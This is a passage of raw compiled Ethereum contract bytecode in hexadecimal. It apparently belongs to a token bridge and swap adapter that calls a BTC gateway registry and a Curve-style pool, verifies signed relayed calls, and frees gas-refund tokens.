ba573d6000803e3d6000fd5b505050506040513d60208110156114d057600080fd5b81019080805190602001909291905050509050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561158c57600080fd5b505af11580156115a0573d6000803e3d6000fd5b505050506040513d60208110156115b657600080fd5b81019080805190602001909291905050506115d057600080fd5b60008090505b6003811015611821576116e78382600381106115ee57fe5b60200201516001836003811061160057fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561169e57600080fd5b505afa1580156116b2573d6000803e3d6000fd5b505050506040513d60208110156116c857600080fd5b8101908080519060200190929190505050614f8190919063ffffffff16565b8382600381106116f357fe5b602002018181525050600081141561170a57611814565b6001816003811061171757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8885846003811061176157fe5b60200201516040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156117cf57600080fd5b505af11580156117e3573d6000803e3d6000fd5b505050506040513d60208110156117f957600080fd5b810190808051906020019092919050505061181357600080fd5b5b80806001019150506115d6565b506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b81526004018080602001828103825260038152602001807f425443000000000000000000000000000000000000000000000000000000000081525060200191505060206040518083038186803b1580156118c857600080fd5b505afa1580156118dc573d6000803e3d6000fd5b505050506040513d60208110156118f257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166338463cff8a8a8660006003811061192d57fe5b60200201516040518463ffffffff1660e01b815260040180806020018381526020018281038252858582818152602001925080828437600081840152601f19601f820116905080830192505050945050505050602060405180830381600087803b15801561199a57600080fd5b505af11580156119ae573d6000803e3d6000fd5b505050506040513d60208110156119c457600080fd5b810190808051906020019092919050505090507fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb816040518082815260200191505060405180910390a15050506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611ab157600080fd5b505afa158015611ac5573d6000803e3d6000fd5b505050506040513d6020811015611adb57600080fd5b81019080805190602001909291905050501115611bd7576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a850181611b2c57fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611b9657600080fd5b505af1158015611baa573d6000803e3d6000fd5b505050506040513d6020811015611bc057600080fd5b810190808051906020019092919050505050611cbf565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f611c09614e7f565b61a3db61374a850181611c1857fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611c8257600080fd5b505af1158015611c96573d6000803e3d6000fd5b505050506040513d6020811015611cac57600080fd5b8101908080519060200190929190505050505b50505050505050565b60005a905060018260ff1660038110611cdd57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd611d22614e7f565b30876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611dc057600080fd5b505af1158015611dd4573d6000803e3d6000fd5b505050506040513d6020811015611dea57600080fd5b8101908080519060200190929190505050611e0457600080fd5b60006001600060038110611e1457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611eb257600080fd5b505afa158015611ec6573d6000803e3d6000fd5b505050506040513d6020811015611edc57600080fd5b81019080805190602001909291905050509050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633df0212484600088886040518563ffffffff1660e01b8152600401808560ff16600f0b815260200184600f0b8152602001838152602001828152602001945050505050600060405180830381600087803b158015611f8657600080fd5b505af1158015611f9a573d6000803e3d6000fd5b5050505060006001600060038110611fae57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561204c57600080fd5b505afa158015612060573d6000803e3d6000fd5b505050506040513d602081101561207657600080fd5b81019080805190602001909291905050509050600061209e8383614f8190919063ffffffff16565b90506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b81526004018080602001828103825260038152602001807f425443000000000000000000000000000000000000000000000000000000000081525060200191505060206040518083038186803b15801561214657600080fd5b505afa15801561215a573d6000803e3d6000fd5b505050506040513d602081101561217057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166338463cff8b8b856040518463ffffffff1660e01b815260040180806020018381526020018281038252858582818152602001925080828437600081840152601f19601f820116905080830192505050945050505050602060405180830381600087803b15801561220757600080fd5b505af115801561221b573d6000803e3d6000fd5b505050506040513d602081101561223157600080fd5b810190808051906020019092919050505090507fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb816040518082815260200191505060405180910390a1505050506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561231f57600080fd5b505afa158015612333573d6000803e3d6000fd5b505050506040513d602081101561234957600080fd5b81019080805190602001909291905050501115612445576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a85018161239a57fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561240457600080fd5b505af1158015612418573d6000803e3d6000fd5b505050506040513d602081101561242e57600080fd5b81019080805190602001909291905050505061252d565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f612477614e7f565b61a3db61374a85018161248657fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156124f057600080fd5b505af1158015612504573d6000803e3d6000fd5b505050506040513d602081101561251a57600080fd5b8101908080519060200190929190505050505b50505050505050565b60005a905060008a898989612549614e7f565b6040516020018086815260200185815260200184600f0b600f0b81526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001955050505050506040516020818303038152906040528051906020012090506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b81526004018080602001828103825260038152602001807f425443000000000000000000000000000000000000000000000000000000000081525060200191505060206040518083038186803b15801561269157600080fd5b505afa1580156126a5573d6000803e3d6000fd5b505050506040513d60208110156126bb57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663159ab14d83898989896040518663ffffffff1660e01b815260040180868152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050602060405180830381600087803b15801561276257600080fd5b505af1158015612776573d6000803e3d6000fd5b505050506040513d602081101561278c57600080fd5b810190808051906020019092919050505090506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635e0d443f60008c856040518463ffffffff1660e01b81526004018084600f0b815260200183600f0b600f0b8152602001828152602001935050505060206040518083038186803b15801561282e57600080fd5b505afa158015612842573d6000803e3d6000fd5b505050506040513d602081101561285857600080fd5b8101908080519060200190929190505050905060006128b9836128ab60048e600f0b6003811061288457fe5b015461289d6305f5e10087614f3490919063ffffffff16565b614f6190919063ffffffff16565b614f6190919063ffffffff16565b90506128d08c612710614f8190919063ffffffff16565b9b5060006128fb6127106128ed8f86614f3490919063ffffffff16565b614f6190919063ffffffff16565b90508d82106129265760008c600f0b141561291557600080fd5b6129218c85838e614f9b565b612a58565b600160006003811061293457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8c866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156129dc57600080fd5b505af11580156129f0573d6000803e3d6000fd5b505050506040513d6020811015612a0657600080fd5b8101908080519060200190929190505050612a2057600080fd5b7f168094234a7c53f3434b5ac1936fa7bdc59f28ea7f93bda1f79272fdf0537e5a846040518082815260200191505060405180910390a15b50505050506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612afd57600080fd5b505afa158015612b11573d6000803e3d6000fd5b505050506040513d6020811015612b2757600080fd5b81019080805190602001909291905050501115612c23576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a850181612b7857fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612be257600080fd5b505af1158015612bf6573d6000803e3d6000fd5b505050506040513d6020811015612c0c57600080fd5b810190808051906020019092919050505050612d0b565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f612c55614e7f565b61a3db61374a850181612c6457fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612cce57600080fd5b505af1158015612ce2573d6000803e3d6000fd5b505050506040513d6020811015612cf857600080fd5b8101908080519060200190929190505050505b5050505050505050505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000804690508091505090565b60005a9050612d7a615a59565b60008090505b6003811015612e915760018160038110612d9657fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612e3457600080fd5b505afa158015612e48573d6000803e3d6000fd5b505050506040513d6020811015612e5e57600080fd5b8101908080519060200190929190505050828260038110612e7b57fe5b6020020181815250508080600101915050612d80565b50600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd612ed8614e7f565b30876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015612f7657600080fd5b505af1158015612f8a573d6000803e3d6000fd5b505050506040513d6020811015612fa057600080fd5b8101908080519060200190929190505050612fba57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ecb586a585856040518363ffffffff1660e01b81526004018083815260200182600360200280828437600081840152601f19601f82011690508083019250505092505050600060405180830381600087803b15801561305257600080fd5b505af1158015613066573d6000803e3d6000fd5b5050505060008090505b60038110156132bb5761318182826003811061308857fe5b60200201516001836003811061309a57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561313857600080fd5b505afa15801561314c573d6000803e3d6000fd5b505050506040513d602081101561316257600080fd5b8101908080519060200190929190505050614f8190919063ffffffff16565b82826003811061318d57fe5b60200201818152505060008114156131a4576132ae565b600181600381106131b157fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb878484600381106131fb57fe5b60200201516040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561326957600080fd5b505af115801561327d573d6000803e3d6000fd5b505050506040513d602081101561329357600080fd5b81019080805190602001909291905050506132ad57600080fd5b5b8080600101915050613070565b506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b81526004018080602001828103825260038152602001807f425443000000000000000000000000000000000000000000000000000000000081525060200191505060206040518083038186803b15801561336257600080fd5b505afa158015613376573d6000803e3d6000fd5b505050506040513d602081101561338c57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166338463cff8989856000600381106133c757fe5b60200201516040518463ffffffff1660e01b815260040180806020018381526020018281038252858582818152602001925080828437600081840152601f19601f820116905080830192505050945050505050602060405180830381600087803b15801561343457600080fd5b505af1158015613448573d6000803e3d6000fd5b505050506040513d602081101561345e57600080fd5b810190808051906020019092919050505090507fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb816040518082815260200191505060405180910390a150506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561354a57600080fd5b505afa15801561355e573d6000803e3d6000fd5b505050506040513d602081101561357457600080fd5b81019080805190602001909291905050501115613670576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a8501816135c557fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561362f57600080fd5b505af1158015613643573d6000803e3d6000fd5b505050506040513d602081101561365957600080fd5b810190808051906020019092919050505050613758565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f6136a2614e7f565b61a3db61374a8501816136b157fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561371b57600080fd5b505af115801561372f573d6000803e3d6000fd5b505050506040513d602081101561374557600080fd5b8101908080519060200190929190505050505b50505050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005a90506000898888613799614e7f565b604051602001808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184600360200280828437600081840152601f19601f8201169050808301925050508381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019450505050506040516020818303038152906040528051906020012090506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b81526004018080602001828103825260038152602001807f425443000000000000000000000000000000000000000000000000000000000081525060200191505060206040518083038186803b1580156138ef57600080fd5b505afa158015613903573d6000803e3d6000fd5b505050506040513d602081101561391957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663159ab14d838c8989896040518663ffffffff1660e01b815260040180868152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050602060405180830381600087803b1580156139c057600080fd5b505af11580156139d4573d6000803e3d6000fd5b505050506040513d60208110156139ea57600080fd5b81019080805190602001909291905050509050613a05615a59565b896003806020026040519081016040528092919082600360200280828437600081840152601f19601f82011690508083019250505050505090508181600060038110613a4d57fe5b6020020181815250506000600190505b6003811015613a99578a8160038110613a7257fe5b6020020135828260038110613a8357fe5b6020020181815250508080600101915050613a5d565b5087600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633883e1198c60016040518363ffffffff1660e01b81526004018083600360200280828437600081840152601f19601f8201169050808301925050508215151515815260200192505050602060405180830381600087803b158015613b3857600080fd5b505af1158015613b4c573d6000803e3d6000fd5b505050506040513d6020811015613b6257600080fd5b810190808051906020019092919050505010613b8957613b8481838a8f61538d565b613cbb565b6001600060038110613b9757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8d846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015613c3f57600080fd5b505af1158015613c53573d6000803e3d6000fd5b505050506040513d6020811015613c6957600080fd5b8101908080519060200190929190505050613c8357600080fd5b7f168094234a7c53f3434b5ac1936fa7bdc59f28ea7f93bda1f79272fdf0537e5a826040518082815260200191505060405180910390a15b5050506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015613d5e57600080fd5b505afa158015613d72573d6000803e3d6000fd5b505050506040513d6020811015613d8857600080fd5b81019080805190602001909291905050501115613e84576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a850181613dd957fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015613e4357600080fd5b505af1158015613e57573d6000803e3d6000fd5b505050506040513d6020811015613e6d57600080fd5b810190808051906020019092919050505050613f6c565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f613eb6614e7f565b61a3db61374a850181613ec557fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015613f2f57600080fd5b505af1158015613f43573d6000803e3d6000fd5b505050506040513d6020811015613f5957600080fd5b8101908080519060200190929190505050505b50505050505050505050565b60006060613f858761590c565b90506060613f928761590c565b90506000898b848460405160200180807f19457468657265756d205369676e6564204d6573736167653a0a000000000000815250601a0185805190602001908083835b60208310613ff85780518252602082019150602081019050602083039250613fd5565b6001836020036101000a03801982511681845116808217855250505050505090500184805190602001908083835b602083106140495780518252602082019150602081019050602083039250614026565b6001836020036101000a03801982511681845116808217855250505050505090500183805190602001908083835b6020831061409a5780518252602082019150602081019050602083039250614077565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106140eb57805182526020820191506020810190506020830392506140c8565b6001836020036101000a03801982511681845116808217855250505050505090500194505050505060405160208183030381529060405280519060200120905060018186898960405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015614188573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff1614935050505098975050505050505050565b60005a9050600060016000600381106141e657fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561428457600080fd5b505afa158015614298573d6000803e3d6000fd5b505050506040513d60208110156142ae57600080fd5b81019080805190602001909291905050509050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd614307614e7f565b30886040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156143a557600080fd5b505af11580156143b9573d6000803e3d6000fd5b505050506040513d60208110156143cf57600080fd5b81019080805190602001909291905050506143e957600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631a4d01d28685876040518463ffffffff1660e01b8152600401808481526020018360ff16600f0b81526020018281526020019350505050600060405180830381600087803b15801561447457600080fd5b505af1158015614488573d6000803e3d6000fd5b505050506000600160006003811061449c57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561453a57600080fd5b505afa15801561454e573d6000803e3d6000fd5b505050506040513d602081101561456457600080fd5b81019080805190602001909291905050509050600061458c8383614f8190919063ffffffff16565b90506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b81526004018080602001828103825260038152602001807f425443000000000000000000000000000000000000000000000000000000000081525060200191505060206040518083038186803b15801561463457600080fd5b505afa158015614648573d6000803e3d6000fd5b505050506040513d602081101561465e57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166338463cff8b8b856040518463ffffffff1660e01b815260040180806020018381526020018281038252858582818152602001925080828437600081840152601f19601f820116905080830192505050945050505050602060405180830381600087803b1580156146f557600080fd5b505af1158015614709573d6000803e3d6000fd5b505050506040513d602081101561471f57600080fd5b810190808051906020019092919050505090507fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb816040518082815260200191505060405180910390a1505050506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561480d57600080fd5b505afa158015614821573d6000803e3d6000fd5b505050506040513d602081101561483757600080fd5b81019080805190602001909291905050501115614933576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a85018161488857fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156148f257600080fd5b505af1158015614906573d6000803e3d6000fd5b505050506040513d602081101561491c57600080fd5b810190808051906020019092919050505050614a1b565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f614965614e7f565b61a3db61374a85018161497457fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156149de57600080fd5b505af11580156149f2573d6000803e3d6000fd5b505050506040513d6020811015614a0857600080fd5b8101908080519060200190929190505050505b50505050505050565b6d4946c0e9f43f4dee607b0ef1fa1c81565b6060614a8d8887876000808d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054614a85612d60565b898989613f78565b614ae2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180615a7c6021913960400191505060405180910390fd5b600060603073ffffffffffffffffffffffffffffffffffffffff16898b6040516020018083805190602001908083835b60208310614b355780518252602082019150602081019050602083039250614b12565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040526040518082805190602001908083835b60208310614bd25780518252602082019150602081019050602083039250614baf565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114614c34576040519150601f19603f3d011682016040523d82523d6000602084013e614c39565b606091505b509150915081614cb1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f46756e6374696f6e2063616c6c206e6f74207375636365737366756c6c00000081525060200191505060405180910390fd5b614d0360016000808d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054615a3f90919063ffffffff16565b6000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f5845892132946850460bff5a0083f71031bc5bf9aadcd40f1de79423eac9b10b8a338b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015614e0d578082015181840152602081019050614df2565b50505050905090810190601f168015614e3a5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a18092505050979650505050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415614f2a5760606000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509050600080369050905073ffffffffffffffffffffffffffffffffffffffff818301511692505050614f2e565b3390505b80905090565b600081830290506000831480614f52575081838281614f4f57fe5b04145b614f5b57600080fd5b92915050565b6000808211614f6f57600080fd5b818381614f7857fe5b04905092915050565b600082821115614f9057600080fd5b818303905092915050565b6000600185600f0b60038110614fad57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561504b57600080fd5b505afa15801561505f573d6000803e3d6000fd5b505050506040513d602081101561507557600080fd5b81019080805190602001909291905050509050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633df0212460008787876040518563ffffffff1660e01b81526004018085600f0b815260200184600f0b600f0b8152602001838152602001828152602001945050505050600060405180830381600087803b15801561511f57600080fd5b505af1158015615133573d6000803e3d6000fd5b505050506000600186600f0b6003811061514957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156151e757600080fd5b505afa1580156151fb573d6000803e3d6000fd5b505050506040513d602081101561521157600080fd5b8101908080519060200190929190505050905060006152398383614f8190919063ffffffff16565b9050600187600f0b6003811061524b57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156152f357600080fd5b505af1158015615307573d6000803e3d6000fd5b505050506040513d602081101561531d57600080fd5b810190808051906020019092919050505061533757600080fd5b7f0f53fda404376fdea6de5ffe0d5272072454f69b1abdf71a66e24ba0c128b4f28682896040518084815260200183815260200182600f0b600f0b8152602001935050505060405180910390a150505050505050565b6000600190505b60038110156155085760008582600381106153ab57fe5b602002015111156154fb57600181600381106153c357fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd615408614e7f565b3088856003811061541557fe5b60200201516040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffff